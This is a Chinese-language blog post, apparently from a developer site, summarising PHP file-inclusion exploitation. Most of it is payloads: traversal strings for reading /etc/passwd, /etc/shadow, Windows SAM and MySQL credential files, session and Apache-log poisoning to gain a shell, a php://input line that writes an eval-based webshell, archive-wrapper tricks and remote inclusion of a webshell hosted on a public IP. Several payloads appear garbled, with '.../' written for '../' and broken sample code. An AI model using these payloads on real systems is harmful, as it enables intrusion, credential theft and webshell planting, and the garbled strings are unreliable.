文件包含漏洞利用技术总结

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux**:**

.../.../.../.../.../.../.../.../etc/passwd // 账户信息

etc/passwd%00

...//...//etc/passwd

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

乌云****payload

.../.../.../.../.../.../.../.../.../.../etc/passwd

.../.../.../.../.../.../.../.../.../.../home/img/odp/log/access_log

./.../.../.../.../.../.../.../.../etc/passwd%00

.../.../ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=.../test.php\&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://. ..//index.php?index=a&skin=&dataoptimize_html=/.../.../.../favicon.ico

...%2FWEB-INF%2Fweb.xml

.../WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./.../.../test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

假设漏洞代码如下所示:
<?php session_start(); $ctfs= $_GET['ctfs']; _SESSION\['username'\]=ctfs; ?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\\phpStudy\\PHPTutorial\\tmp\\tmp\\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session 文件session文件名 **(真正的文件名默认都有个前缀就是sess_)**

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/*<?php eval([$_POST]);?>*则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php (Base64加密)

相关推荐
0DayHP1 小时前
HTB:Ignition[WriteUP]
网络安全
l1x1n04 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
guanyue.space9 小时前
网站可疑问题
web安全
Hugo_McQueen10 小时前
pWnos1.0 靶机渗透 (Perl CGI 的反弹 shell 利用)
linux·服务器·网络安全
小小工匠10 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
学习溢出12 小时前
深入了解 net user 命令:上一次是谁登录的?
windows·网络安全·系统安全
鲨鱼辣椒丶D13 小时前
「漏洞复现」用友U8 CRM config/fillbacksettingedit.php SQL注入漏洞
web安全
CyberMuse1 天前
网络安全cybersecurity的几个新领域
网络安全
HEX9CF1 天前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
火红的小辣椒1 天前
XSS基础
android·web安全